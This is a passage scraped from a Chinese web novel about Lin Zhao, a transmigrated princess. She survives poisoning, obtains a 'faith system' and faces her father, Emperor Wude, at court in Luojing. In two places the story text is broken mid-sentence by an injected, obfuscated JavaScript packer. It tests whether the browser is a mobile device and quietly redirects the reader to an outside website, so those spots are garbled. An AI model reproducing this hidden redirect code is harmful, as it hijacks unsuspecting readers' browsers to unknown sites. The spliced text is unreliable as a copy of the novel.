作为一个已登基20年的皇帝,年过四十五岁的他,虽然已经步入老年,然而,岁月虽然在他身上留下了痕迹,却并未减损他的半分威仪。他甚至无需开口,仅仅一个眼神,便能让整个内殿的人噤若寒蝉,恍若置身寒窑,完全不敢发出一丝动静。 中常侍张永深知圣心焦灼,甫一接过内侍呈上的密信,便疾步趋近御前。 “陛下,林中郎那边来了新消息!” 武德帝收回内心复杂的心绪,虎目凛然得看了张永一眼,随即目光停在他手中的信件上面。这已经不是他第一次收到林霄所写,关于他那个女儿的信了。就在前几天,他就收到过一封相关的信。 信中,林霄详细描述了这个女儿瘦弱的模样,怯弱的样子以及对来洛京的忐忑。不管是性格上,还是性情上,都看不出任何亮眼之处,根本不是武德帝想要的人。 武德帝本就不是什么父爱泛滥的人,他难道真的对林明珠不是自己女儿没有察觉吗?怎么可能?初时可能还真没察觉,但久了怎么可能发现不了?容貌差异那么明显。不过是不在意罢了!不过付出一个公主的名头,换来一个会做肥皂、会制作纸张,可以拿水泥等配方,还有土豆这样的高产种子的女子,简直不要更划算好不? 至于那个流浪民间从未见过的女儿会如何,谁会在意呢? 若非天兆所言那是什么西雍国未来女帝,武德帝压根就没想过去寻找这个女儿。 如今,就算他派人去寻找,也不是真的要打算如天兆之言,让这个女儿接他的皇位。 女子为帝,简直滑天下之大稽,武德帝是绝不可能允许这样的事情发生的。说到底,他将人接回来,一来是为了做给天下人看,到底是皇家血脉,事情既然已经被天兆揭破,自然不能再放任。二来,武德帝看向殿外那飘飞的柳絮,不过是想借她的天兆预言身份,搅乱这洛京的一池浑水,好选出西雍国最合适的继承人罢了。 可惜,这个女儿连被他利用的价值都没有。想到这里,武德帝也不打算伸手取信件了,示意张永直接读信。 “说了什么?” 张永当即拆开信件,快速阅览一遍后脸色大变,“陛下,公主遇刺中毒了,好在并无大碍!” “遇刺——”武德帝目光微顿,他端坐在御座上,指节粗大的手缓缓摩挲着案几上的一个把件,细细咀嚼了一下这两个字,随即阴笑起来,笑容中带着浓厚的杀意。他派人去接的人,费了那么多心思,结果人还遇刺了,那已经是打他这个帝王的脸了。 武德帝直接伸手,示意张永将信件递到他手上后,随即抬眼快速的阅览起来。果然,林霄在信的最前面就讲述了他那个女儿差点被一个女官捂死的事情,这刺客女官还是他派去的黄媪,一个他曾经非常信任的侍女。 不过,令他意外的是,找出这个凶手并撬开她嘴的人,竟然是他那个本已被他放弃的女儿。 “殿下当时显然已经中毒,对我等都不再信任,却依然能够镇定自若,催吐去毒,事后更是命臣等将黄媪弄醒,亲自审讯了黄媪.......”看着林霄信中所写的字句,武德帝眉毛微微挑动,很是有点意外。“黄媪试图狡辩,被殿下一语道破,随后殿下更是威逼利诱.....黄媪称,殿下明明已死,如何能又活,必是妖孽!........殿下言,她乃天命女帝,天命所归!.........随后,殿下又言,若能够坦白从宽,便为她家人求情。........可惜,黄媪最后只吐出了一个“王”字便死了。整个过程殿下神态从容,却威严天成,令我等不敢不从,与前几日判若两人。” 武德帝眼中掠过一抹复杂的光芒,他没想到这次林霄送来的竟然是个好消息。这个女儿生死之间似乎性情大变了,或者可能是,经历了这次刺杀,她是明白了什么,不打算掩藏了。虽然不明白,一个乡野长大的女儿,何以突然有如此气魄和威严,竟然能够让自己的虎贲中郎将都不敢不从。 不过,如今的她倒有点他心目中那个棋子的模样。就是软和了一点,那黄媪都要杀她了,最后竟然还要为她求情。 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想到这里,武德帝直接下定了决心,他将手中的信掷在案几上,也不管那信四散落在地上到处都是,转头就拿起案几上的玉玺,目光锐利得看了眼俯着身子的张永一眼,声如沉雷,目含怒火得质问道,“张永,莫非朕很吝啬?都是跟着朕二十几年的老人了,竟然也能背叛朕?” 帝王说出背叛二字时,咬牙切齿,纵然没有怒吼出来,但其中呈现的怒火比嘶吼更令人肝胆俱裂。中常侍张永自从在信中看到黄女官的名字那一刻起,就已经猜到会有这么一刻。然而,面对天子这般的质问,依然冷汗涔涔,浑身难以自制的颤抖。 武德帝,他可是真的会一言不合就杀人的啊! 最后只能以头抢地,强装镇定的回禀道,“陛下,黄媪罪该万死,老奴失察,请陛下恕罪!”张永不做一丝一毫的狡辩,干脆利落得认了自己的罪。他很清楚,武德帝能够容忍自己在这个职位上待了近十年,就是看中了他的从不推诿责任。 果然,下一刻武德帝就缓和了一点语气道,“好了,朕也没有责怪你的意思,只是朕身边的人,得好好梳理一下了。”但很快,他神色一凛,手中的玉玺更是重重的顿在案几上,语气阴沉道,“今日他们能够试图捂死公主,焉知他日不会想捂死朕?这是朕给你的最后一次机会,张永,不要辜负朕的信任。” “是,奴才明白!”听到武德帝最后一句话,张永立马就明白了这件事的重要性。说到底,帝王真正愤怒的并不是黄媪要杀死公主,而是自己身边的人竟然背叛自己。一个还没见面的女儿,说重要也算重要,但绝对没有帝王自身安危重要。 “至于黄媪,查出她的家人,全部杀了吧,一个不留!背叛朕的人,全族都没必要继续活下去了,你明白了吗?”说到最后那句话时,武德帝目光锐利得看了张永一眼,眼中警告的含义非常明显。 张永心头一寒,再次应了下来,快速的退出乾安殿。 6. 第 6 章 林昭并不知道,自己的一举一动都被人提前汇报给了武德帝。 她正坐在前往洛京的马车上,距离这个雍国都城只有不到两天的距离。沿途要么是屋檐低矮的村子,要么就是光秃秃得少有绿意的山。哪怕偶尔能够看到一些干枯的树枝上冒出一抹绿色,很快也会被人或者鸟儿或者其他小动物采摘掉,成为腹中的口粮。 满目几乎都是寂寥萧条景色,林昭只看了几眼便再也没了兴趣,直接闭目养神起来。去了洛京,她还有好几场仗要打呢!没有精神可不行!况且,黄女官口中的“王”这个幕后杀害原主的真凶,总归是个不小的隐患。 只是,关于“王”这样一个字,可以得出的释义太多了。 林昭仔细分析了原主零散散的一些记忆。 只可惜原主前两世要么一直在乡野,要么一直在前往洛京的路上,好不容易去到洛京,没几日还死了。林昭只能从原主第三世作为透明公主的记忆里,勉勉强强能摸到一些洛京势力的影子。 当时的她虽然被关在宫中,除了武德帝没见过其他人,但还是从宫女嘴里知晓了不少东西。 作为西雍国的国都,林姓皇室自然是洛京最大的势力。当今皇帝武德帝林洋,西雍国的开国皇帝,同时也是一个凭借兵权上位的谋朝篡位者,二十年前取卫国而代之,建立了如今的西雍国,年号武德,就是半月前天幕上称为武德帝的人。 而随着武德帝的上位,背后支持他的三大世家,自然也成为西雍国的顶级世家。他们分别是宋皇后以及太子背后所在的宋家,以谈玄出名,凭借着九品中正官制,几乎把持了西雍国所有官吏筛选的王家,以及《礼》的最终诠释者谢家。 如今的雍国有四分之一的兵权,被宋皇后的兄长镇国公兼尚书令把持着。王家家主王鲁更是已在左仆射位置上坐了二十年。至于谢家,不管朝堂如何变化,代代世居礼部尚书这个职位,几乎垄断了“礼”这个词的解释权。 要知道,传说中的帝王书《资治通鉴》第一篇,讲的就是礼,其中更有一句话直接点明,“天子之职莫大于礼。”可想而知,对于一个皇帝而言,礼这个词的重要性。谢家把控了这个词的解释权,几乎等于把控了皇位的正统性解释权。 当然,随着春秋战国时代的落幕,时代逐步演变成谁拳头大谁有理,礼也不能再像以前一样可以掣肘皇权了。可即便如此,作为一个皇帝,他也不能公然违礼。正因如此,谢家虽然看着不起眼,却依然是西雍国的顶级世家。 这样的朝堂局势,很难不让人想起王与马共天下的东晋。好一点的情况就是,西雍国不止有王,还有宋、谢两大顶级世族。不过,从原主的细碎的记忆来看,虽然武德帝把谢家女赐给了二皇子也就是贤王林琏,自己又纳了王家女做昭仪,生了四皇子,一直在试图分化三家,但王、宋、谢三家的当家人显然都不是傻子,至少明面上非常团结。 三家甚至逼得武德帝将东洲青城、白城、石城给了他们,三城刺史都是三家自己的人,可谓是他们的后方大本营。 而除了这些世家势力之外,这些年经过武德帝的努力,洛京还发展出了另外几方势力,一方是以右仆射李元为代表的小世家势力集合,这个李元也就是原主第三世,将原主送进宫的那个人。他的背后站着的是一些不愿屈从宋王谢三家的中小世家。 一方则是以原身生母武贵妃所在的武家为代表的寒门势力。原主的生母武贵妃其实是个舞姬,身后并没有什么势力,要不然13年前也不会发生什么破庙产子事件。但武德帝将身边的侍卫武铁提拔成了兵部尚书,并让其和武贵妃认为义兄妹,又不断的吸收各种不得志的寒门士子,由此在朝堂上直接形成了一波新的势力联盟。 很显然,这两波势力都是武德帝为了对抗世家,特意扶持起来的心腹势力。为了让两方势力联合,武德帝甚至将右仆射李元的女儿,赐婚给了原身的哥哥三皇子也就是荣王林璋。一手帝王心术玩得贼溜。 此外,贤王林琏生母是齐贤妃,背后还站着掌控南营部分势力的大将军齐清。其他的武将势力,譬如掌控京郊大营的太尉韩家、掌管虎贲和羽林的中郎将等人,守卫宫门的卫尉,自然都是皇帝的心腹。 所以,如果这个“王”是代指王家的话,背后很可能就是宋皇后之子太子在指使。 在原主第三世记忆里,林昭看得分明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056038|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如今的西雍国太子林瑚虽然表面看似温柔敦厚,实则完美的继承了武德帝的傲慢残暴,唯我独尊,作为下一任皇位继承人,其他皇子存在已经是他的眼中刺了,他以及其背后的宋皇后、谢家等世族势力,是决不会再允许什么天兆女帝出现的。 当然,更有可能是王家自作主张,为了替王昭仪所出的四皇子清除障碍,哪怕如今的四皇子目前才8岁。林昭可从来不会小瞧皇权的诱惑力,不过是随手下个手而已,王昭仪以及背后的王家还真可能这么做。 可如果这个“王”代表的是某个王爷? 二皇子即贤王林琏也很有可能,作为前几世与太子夺位最激烈的对手之一,表明上看性格冷硬,不善言语,好像是个纯粹的武将一般,但实际上同样心机深沉,且暴虐残酷,甚至因为不受武德帝重视,性格更为偏激。这样一个人,怕也不会愿意看到一个所谓未来天兆女帝的出现。 此外,三皇子即荣王林璋,这具身体的血缘兄长,也不是不可能。林璋虽然表面上看好像是最没有野心的,每天不是跟着士人清谈,就是做原女主的好哥哥,一副典型妹控的模样。原主第三世甚至因为这位兄长不喜欢自己,而暗自伤心难过了好久。 但实际上,在林昭的视角看来,这人绝没有表面上那般无欲无求。更别说,还有那样一个野心几乎是放在明面上的武贵妃,哪怕有血缘关系,这些人怕也不见得有多希望自己出现。 此外,洛京还有两个跟王有关的人,一个是武德帝的结拜兄弟,北疆兵马的掌控者,秦王的儿子司马旭,也就是这本团宠文里的男二,一个据说谪仙般的人物。 一个则是因为十年前的壶关大战,大败后被迫在西雍国为质的北周国楚王宇文墨,也就是这本团宠文的男主,一个美强惨设定的人物,未来的北周国皇帝。 不过,林昭觉得,这两人现在对原主出手的可能性不大。毕竟,两人在洛京不管名头上多好听,实际上都是质子的角色,不太可能会为了杀原主这样一个乡野出身的人物,浪费黄女官这样一枚好棋子。划不来! 最大的可能性还是太子以及几个皇子背后的势力。 只是,到底是谁呢? 7. 第 7 章 就在林昭思索之时,突然一个萌萌的电子音在她耳边响起。 【宿主!宿主!你真的好厉害啊,竟然活了下来。】 林昭眉头微蹙,睁开眼看着空无一物的马车,什么都没有,便以为是自己昨晚中毒的后遗症,出现了某种幻觉,揉了揉眼打算继续闭目养神,谁知,眼睛刚闭上那个声音又响了起来。 【宿主,宿主,恭喜你通过了本世界的新手期考验!目前,信仰系统011已成功绑定宿主,接下来就让011系统陪着宿主一起开启异世界之旅吧!】 听到系统这个词,林昭终于重视起来。毕竟,谁年轻的时候,没熬夜看过几回网文;谁年轻的时候,没有幻想拥有一个系统?她都莫名其妙来到这样一个团宠文世界了,这世界又出了所谓的天幕,貌似突然出现一个系统这样的金手指,也很是理所当然。 不过,林昭并没有因此就多么激动。 毕竟,网文发展到现在,系统已经不再仅仅是金手指的代名词,它还可能是某个高维恶势力的爪牙。 “你是什么系统?” 刚出生的011萌新系统并不知道自己的宿主刚见面就对自己防备上了,听到宿主这么问,立马骄傲的说道,【宿主,我可是传说中鼎鼎有名的信仰成神系统,只要有了我,宿主你就能够在这个古代世界尽情的假扮神女,收集信仰!如果宿主收集得信仰足够多,就是白日飞升也不是不可能。而且,宿主还可以用信仰值,兑换各种符箓法器。怎么样,宿主,系统棒不棒?】 林昭:有点意思,怎么有点像那种去古代做神女网文里的系统。 “莫非,这个世界还有灵异力量不成?” 011不明白,宿主为何会这样问,但还是回答道,【没呀,宿主,怎么了?】不过,很快011就觉得,自己明白了宿主的担忧,宿主肯定是担心自己被拆穿,立马道,【宿主不必忧心,这里就是个很普通的古代世界,不会突然有什么妖魔鬼怪来拆穿你。而且,宿主还可以自己制造神异幻像,借此收集信仰,系统可是很清楚这个套路的哦。】 林昭:看出来了。 不过,说到制造神异幻想,她突然想到了这一世突然出现的天幕,还有那害死原主的莫名其妙女帝预言,神色立马严肃起来,目光深沉如水,就连原本戏谑的声音都不自觉得带上了一层冷意。 “所以,那个天幕也是你搞的?” 011系统虽然感受不到林昭话语中的冷意,却也明白这句问话牵扯到原主死亡这件事,立马反驳道,【宿主,你怎么会这么想我呢?】011系统有点委屈,随即道,【我们可是一起过来这个世界的。况且,天幕那么大阵仗,系统也没有这个能力啊!】 “我怎么知道你说的是真是假?”林昭不置可否道。 再说,信仰值这玩意,看不见摸不着都能收集,相比而言,搞个天幕怎么说好像都简单了不少不是? 【可是宿主,我是信仰成神系统啊,怎么会做这种扰乱世界线的事情!主系统会惩罚我的!再说了,系统就算要搞天幕,难道不应该将宿主塑造成神女更符合系统需求吗?】 林昭没想到,这破系统背后,竟然还有个什么主系统。 看样子,都已经成组织了。 不过,此刻她的确有点相信,这系统不是那天幕的幕后人了。毕竟,在林昭的认知里,任何生物的行为背后,要么是本能,要么就是利益。而正如系统所言,如果真是它干的,不应该说她是什么未来女帝,而应该将她塑造成神女,更符合它的利益。 女帝?多稀罕的一个词啊!花生国五千年的历史,也就只有武则天能够真正称得上名义上的女帝,其他的太后譬如吕太后,邓太后等人,最多也就只能称得上摄政罢了。就连女子摄政这件事,自从出了武则天这个人之后,也被士大夫们各种严防死守了。 那天幕竟然说原主是什么未来女帝?真不知道是真的喜欢原主,还是故意要害死原主? 可惜原主当时刚重生,死了又活,活没多久又死,反反复复重生了三世。生死之间的大恐怖,早已将她折磨得快崩溃了,整个人都是恍恍惚惚的。后来又莫名出现天幕这玩意,天都裂开了。 原主只是一个古人,又那样重生了三世,自己都觉得自己妖孽了。突然天空出现那样一种异象,原主在那一瞬间甚至都觉得是老天察觉到了她这个妖孽,要收了她呢。天幕一出,人直接就瘫在了地上,吓得整个人都抖成了筛子。要不是其他的人反应跟她都差不多。就原主那反应,搞不好都能被人指控神经病。 所以,原主的记忆里其实关于那次天幕的内容并不多,大部分的时间天幕在她的记忆世界都是嗡嗡的杂音。她甚至都没有意识到,天幕所言的那个叫林昭的女帝指的就是她。哪怕她第三世作为公主,名字的确叫林昭。 直到中郎将林霄找到她,她这才意识到那天神异天象里面讲的人是自己。可她怎么可能成为女帝呢,原主很清楚自己的能力,她连一个公主都没有当明白,根本不可能是女帝。但她不能跟别人这样说,没有人会听她的话,再加上到底做了几年公主,不想继续待在乡野中被送去冲喜了,原主最终还是忐忑不安的上了马车。 谁能想到,坐上这马车不过几天,原主便又失去了生命。也不知道她现在怎样了?还在继续重生的噩梦吗? 林昭突然有点好奇,她看向011系统,“原主怎样了?摆脱了那不断重生的噩梦吗?” 011系统一听,宿主不再纠结天幕这件事,这是终于相信自己的无辜了,立马开心的答道,【宿主放心,你这具身体的原身已经去别的世界投胎了。】 “她为何会那样不断受折磨?” 【宿主,你又怎知她真的重生过呢?】011反问道。 林昭愣了一下,所以按照系统的意思,原主所谓的三世挣扎其实只是一个幻觉,或者说一段记忆?那她呢?她所谓的现代世界记忆是否又是真的呢?或者说,原主真的不是她嘛?想到脑子里突然多出的那个系统,林昭莫名有点不确定起来。 不过,她并没有做什么,而是继续不动声色的套话道,“你的任务只是收集信仰吗?” 【对啊,宿主,我们的任务就是收集信仰,然后助你成神呢!】011系统电子音轻快的说道,【宿主不用担心,为了我们的任务,我可是准备了不少东西呢,我还特地让主系统给我装配了一个商城。】说着,还将一个类似于商场的东西在她面前打了开来。 开头的动画特效很酷炫,很有财神到的效果。但很快,画面推进到货架内容的时候,林昭就沉默了。高大上的货架上面就几样东西,而且基本都是玄幻侧的,譬如降雨符,引雷符、降雪符,长寿丹,大力丸; 当然,这还是不是最让她震惊的,最令她震惊的是,这些东西的定价。因为系统是收集信仰值的,所以上面所使用的货币也是所谓的信仰值。而这些玄幻侧物品中,哪怕最便宜的降雨符也需要千万信仰值。 其他的,譬如那种可以延长寿命的长寿丹,所需的信仰值亿这个单位都已经满足不了它了,后面直接跟着兆。换算成后面带零的数字的话,估摸着光数零都得费好一段时间,整整十三四个零啊。 如果说,玄幻类的物品,贵的确有它贵的道理,毕竟,那玩意的确有点神异在里面。 可科技侧的东西,价格也贵的离谱,就让人有点无法接受了。林昭看着商场货架上那个所谓的5D投影仪,传说中小说女主扮演神女最厉害的神器,下面标价的信仰值,竟然也是以兆做单位的。 此外,其他的譬如远光灯,喷雾器之类,所需信仰值也是动辄百亿千亿。就连放在现代社会只需要一块钱一个的大白馒头,在系统的货架上都需要1000信仰值;一个看着像太妃糖的糖果,信仰值更是直接破万。 这都已经不叫简单的通货膨胀了,这几乎是膨胀到天上去了!问题是,她是疯了嘛,才会为了吃个馒头费那1000信仰值。 “你们的信仰值怎么算的?”林昭忍不住问。 【宿主,只需要有人对宿主真心信仰,就会产生信仰值呢。不过,每个人每天只能给宿主提供1点信仰值哦!】 “有新手大礼包嘛?”林昭继续问道。 【没有哦,宿主,统统也是新统呢!】011系统依然语气欢快道,丝毫没有察觉到林昭问话背后的深意。 林昭这会儿是真的无语,这蠢萌系统来这个世界之前,都不做市场调研报告的 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【宿主,难道真的没有其他办法了吗?】011有点焦急得问道,【统可是夸下海口,说一定会助宿主成神的。】 林昭面无表情的摇头,“没办法。” 其实,还是有一种办法的,那就是如天幕所言,成为未来西雍国的女帝。帝王,在法理上本就是神明的代表。正所谓受命于天,既寿永昌。既然如此,信服帝王和信服一个神明,又有什么区别呢。甚至,比起虚无缥缈的神明,帝王反而更容易获取信仰。 不过,林昭是不可能将此告诉这个蠢系统的。 而且,成神又不是什么好事。 什么是神?神是人这个概念延伸出来的,是人们幻想中大于人,却又受制于人的一种虚幻状态。说白了,中原大地的神,在某种程度上就是人实现愿望的工具人。哪怕是那些自然的化身,譬如山神水神,也逃不了这层束缚。 林昭可不觉得,成神是什么好事,这不就是永生永世打工人吗?还无法享受人世间美食的那种。 至于那些仙偶中每天无所事事,不是在谈恋爱路上,就是在毁灭三界路上的所谓神,那根本就不是神。那都已经是另一群脱离现实的种族了,早就被人开除了神籍。 这个系统的出现,于她而言唯一的好处,大概就是那颗长寿丹了。 这具身体的状况实在是太差了。因为从小就没吃过什么好的,稍微长大一点又各种干活,简直不是一般的瘦弱。林昭今天早上特意透过铜镜看了一眼自己,真差点被自己如今样子吓到,头大身子小,13岁的年龄看着就只有10岁的样子。上一次看到这么瘦弱的人,还是刷到某洲贫民窟的视频呢。就这,还是吃了几天好的结果。 难怪那段记忆里,原主得知自己的公主身份后会那般不甘。一个公主,一个乡野贫民,差距实在是太大了。若天生就是贫民就算了,可她明明投了个好胎,最后却落得个那样的下场,谁能甘心。 就连林昭,明知这不过是作者的设定,对书中女主这个既得利益者,心中都不可避免的泛起一丝不喜。 她这样的身体,从根源上就已经损伤了。再加上这次驿馆中毒这件事,未来哪怕吃再多山珍海味,怕也补不回来。而且,这年头也没什么山珍海味可吃的。相反,那颗长寿丹,倒是可以试试,或许可以让她活得久一点。 毕竟,不管是不是重活一世,能活着谁又愿意死去呢! 更别说,她早已别无选择了不是吗?林昭轻挑起车帘,看了眼车旁坐着的另一名女官,阳女官,又看了一眼身旁身披甲胄,腰系佩剑的中郎将林霄,随即将目光投向洛京所在的方向。 虽然目前还看不清那座庞然城池的巍峨轮廓,但不管她愿不愿意,她都已经注定要走进那座城池,搅入那步步惊心的权力倾轧之中。从天幕预告她是未来女帝开始,她未来最好的结局就是成为女帝。 否则,除非她现在就立马死去,不管谁登基,有这样一个预言在,她都只有一死。 既然如此,这个女帝她为何不当呢?她不仅要当女帝,还得当一个长寿的女帝。既然别人不想她活,那就杀出一条活路来。她不需要飞升成神,她可以当这人间的“神”! 8. 第 8 章 第二天末时,林昭便在两百名虎贲卫的护送下,低调得进入了洛京。当然,这个低调是她自以为的低调,事实上,虎贲卫出现在城门后,不到一炷香时间,洛京城内稍微有点势力的官员们,便猜到了马车内她的身份。 随即,各种相关她的好奇、疑惑、愤恨的念头,便不断得在那些人的脑海中浮现。他们在猜测着她,凝视着她,审视着她的价值和出现后会带来的形势变化。她的出现犹如一滴水涌入一锅沸腾的油锅般,悄然之间便炸响盛大的涟漪。 不过,林昭早已预料到这个结果,对此并不以为然。 权力的斗争本质都是一样的,都是相关利益的争夺。争夺一个公司的权力,和争夺一个国家的权利,本质上并没有多大区别。唯一的差异大概就是,这份利益的大小不同,因此公司的权力争夺更为温和一点,而朝堂上的争夺牵扯得是你死我活,甚至家族未来的百年荣华以及百条人命。 就跟一个格局利益已固定的公司,突然涌现一个新接班人,所有相关利益人都会评估审视一样;她如今突然出现在洛京,那些太子王爷以及背后的世家,各怀心思的朝臣等,所有既得利益者或觊觎者,此刻必然都将目光投向了她。 就连此刻高坐在西雍国皇宫正殿的主人,这句身体血缘父亲武德帝,对她怕也是审视打量居多。毕竟,如今的她于他而言,不过是一个连面都没见过的女儿,也就天幕出现了,让这个女儿有了点价值。 林昭缓步走下马车,抬眼看着眼前的乾安殿,高阔的建筑,灰色的砖瓦,丝毫没有她想象中宫殿的金碧辉煌;纵然同样飞檐斗拱,雕金画红,整个大殿依然呈现出一种罕见的肃穆和压迫感。殿前站满了守护的侍卫,持枪林立,甲胄森冷,静默而无声;甚至都无需暗黑滤镜,这处西雍国权力中心的威严霸气之感,便生动的展现了出来。 她闭上眼,深深吸了一口气,再缓缓吐出。睁开时,眸中所有波澜都已平息。 也不知道中郎将林霄对着门口的内侍说了什么,很快,中常侍张永便从大殿内急匆匆的走了出来,快步走到她的面前,俯身行礼道,“老奴参见殿下!”说完,他的脸上迅速堆叠出一个灿烂的笑容,侧身让开通路,做了一个标准的“请”的手势,“陛下已经在偏殿等候了,殿下,请随我来吧!” 林昭并没有立马动作,而是看向张永,“你是?” “老奴张永。” 林昭点了点头,立马知晓了眼前人的身份,武德帝的心腹内侍,中常侍张永,一个堪称古代职场精英的典范人物。自从来到这个世界之后,那本团宠文的内容便在她的脑海中过了一遍,林昭也由此得出了不少信息。 中常侍张永在书本中的出场虽然不算太多,每一次的出场要么是发赏,要么就是颁布旨意,从不跟其他势力有所牵扯。不过,以林昭这种职场内行人的眼光来看,这恰恰是此人的高明之处。毕竟,历经了汉朝宦官干政和十常侍之乱后,张永能够在中常侍这个位置上待那么久,本身就说明了此人的本事。而张永此刻的客气态度,怕也代表着武德帝对她的态度。 不过,林昭对此并没有多说什么,直接跟随着张永的指引朝偏殿走去。客气一点总比一来就给她下马威强。武德帝愿意对她客气,说明自己对他还有一点不错的价值。有价值,就相当于她有谈判的筹码。这就足够了! 乾安殿偏殿内倒不至于像外面看起来那么暗黑,只是大概是因为气温依然寒冷的原因,殿内的窗户基本都处于关闭状态,光线略有点昏暗,再加上殿内布置了不少深色帷幔,殿内的内侍宫女们又几乎静默不言,使得偏殿的整体氛围略有点沉郁。 特别是越往里走,这种感觉越发明显。 待林昭停下来时,她的旁边已经没有了宫人,领头的张永也侧身移步站在了暗处,整个空间内便只剩下她,和上面置身在阴影中那个看着庞大而又压迫感十足的身影。毋庸置疑,那人必定是这具身体的父亲,武德帝。不愧是权臣上位的开国皇帝,哪怕已经老了,依然气势逼人。 他就那样坐在那里,不说话,冷酷凌厉的目光像鹰一般锐利地扫视着她,彷佛在等待着她的屈服和求饶。 一个帝王和另一个预言中的未来帝王见面,会是怎样的场景?林昭以前不知道,但此刻,踏进这乾安殿偏殿,迎着武德帝那锐利的审视目光,她瞬间知道了!那不是简单的父女相见,而是一个现任掌权者与另一个未来会试图接掌他权利之人的无声交锋。 她直接抬头,看着上方坐在阴影中的人,神色不变,既没有说话,也没有做任何其他动作,就任他打量着。林昭很清楚,此刻的她决不能有丝毫退步的痕迹,不止脸上不能表现出来,甚至连心里想都不能想。 这场对峙,她越展现出自己的野心和能力,所持有的价值便越大,接下来能够谈判下来的筹码也越多!而只有手里握着足够多的筹码,她才有机会成为真正的女帝,在这个世界活下去。 越靠近洛京,她便愈发明白,武德帝将她找出来的目的,绝非出于什么迟来的父爱。就算有所谓的父爱,估摸着也不多。这是一个帝王,虽然团宠文里塑造的他,对着女主一直是一腔父爱的形象。但若真就因此对他抱有期待,那个第三世作为公主记忆里的原主,就不可能活成那样一个小透明。 在以父亲这个角色看待武德帝之前,首先必须明了,他是一个皇帝,皇权规则下最大的权力拥有者。这样的人,每一个行为背后背后都必定有出于权力或制衡或想分化的考量。 特别是,她还拥有那样一个被预言的未来身份。 他老了,王朝不能后继无人,武德帝怕也看不得自己的后继者是个昏庸的人。可如今,洛京整体局势几乎已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056040|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固化,纵然他费了很大劲想要分化世家,那些人依然稳定的站在太子身后,这让他除了顺应那几大顶级世家的意愿,几乎没有其他别的选择。 可一旦选择太子,世家把控朝堂的局面,只会更严重。届时,西雍国是林家的西雍国,还是那几大世家的西雍国呢?作为一个开国皇帝,武德帝肯定不愿意看到这样的结果。 恰在此时,天幕出现,她来了。 一个女子,竟然身带天命,被预言为“未来女帝”,岂不是一个绝佳好用的切入口? 最妙的是,她还是个女子,一个在所有世俗意义上,都被排除在皇位继承人之外的女子。在当下的儒家既定君君臣臣父父子子的秩序里,她是那个注定会被批判为“牝鸡司晨,惟家之索”的存在,她登基的“合法性”在当下看来几乎为零。 而且,她身后也没有任何势力。 一个几乎不可能登基,没有势力,却被预言将成为女帝的女儿,想要活着便只能依靠武德帝,岂不是他手中用来搅动死水、打破世家垄断、重新洗牌权力格局的绝佳工具! 当然,林昭也有意成为这样的工具。毕竟,在当下的洛京城,她能够依靠的也的确只有武德帝了。 况且,谁说,工具就永远只能是工具呢? 偏殿内,无声的对峙还在继续,林昭没有做任何事,甚至连行礼都不曾,就那样静静地抬着头,任由武德帝评估打量。整个空间都很寂静,除了上方偶尔传来的粗重呼吸声外,几乎闻不到任何声音。在这愈发凝固的空气中,紧张在不断的蔓延。 突然,上首传来一个声音,打破了这份隐隐的对峙。 “你不怕朕!”武德帝直接问道,声音粗犷中带点沙哑,听不出什么情绪。 “不怕!”林昭目光稳稳迎向武德帝直言道,“因为我知道,陛下若要杀我,我早已经死了。”说着,她停顿了片刻,继续补充道,“况且,若陛下要杀我,我拼命求饶,陛下就真的会饶了我嘛?” “呵——“武德帝发出一声短促而意味不明的声音。“陛下——”他重复了这个词汇,随即直接从座位上站了起来,居高临下的看着眼前瘦弱矮小的女儿,准确来说,是女娃。“这是连句爹都不愿意唤了!”说着,他慢慢踱步走到林昭面前,犀利的目光如鹰隼般刺向她,“怎么,是想告诉我你怨我?还是说,打算跟朕划清界限?” “爹!”听到武德帝的话,林昭直接换了一个称呼,丝毫不拖泥带水。 毕竟,人在屋檐下不得不低头。不管她未来要做什么,不管武德帝对她利用居多还是父爱居多。如今的事实真相就是,她必须靠着武德帝才能在这洛京好好活着。既然如此,又有什么好纠结的呢,不过一个称呼而已。 武德帝明显噎了一下,“你倒是能屈能伸!看来在乡野吃苦,对你而言并不是没有好处。” 9. 第 9 章 林昭生平最讨厌的就是吃得苦中苦,方为人上人这句话,就好像吃苦吃得多了,就能变成皇帝似的,这跟印度教那种今生吃苦来日享福的理论有什么区别。 她都已经瘦成这般模样了,明眼人都能看出,这绝不是简单的吃苦二字能够形容的。偏偏武德帝就跟眼瞎了一样,心中不仅没有任何愧疚,甚至还来一句那样的话。 她不想再跟这样一个封建帝王打太极了,直接抬头看向眼前比她至少高了一半的武德帝,眼露嘲讽道,“苦我是已经吃够了,陛下若觉得苦难磨砺人,可以自己去某个山疙瘩里面亲身体验个三年五载!想必归来时,定能‘好处’无穷,更显英明神武!” 古代版本的变形记呢?多有趣啊! 说完,她也没忘记给那些姐姐妹妹们也安排个一样的福利,目光扫了一眼脸上已经敛去审视表情的武德帝,仿佛又想起什么般,嘴角勾起一抹毫无温度的笑容,继续道, “哦,对了,还有你那些太子王爷,或许也可以送去吃吃苦呢!毕竟,正如陛下所言,苦难也不是没有好处不是?或许在乡野过个几年,陛下就能找到自己想要的扛鼎之人了呢!” “放肆!”武德帝暴怒道,虎目死死的看着林昭,仿佛下一秒就要将她凌迟了一般。 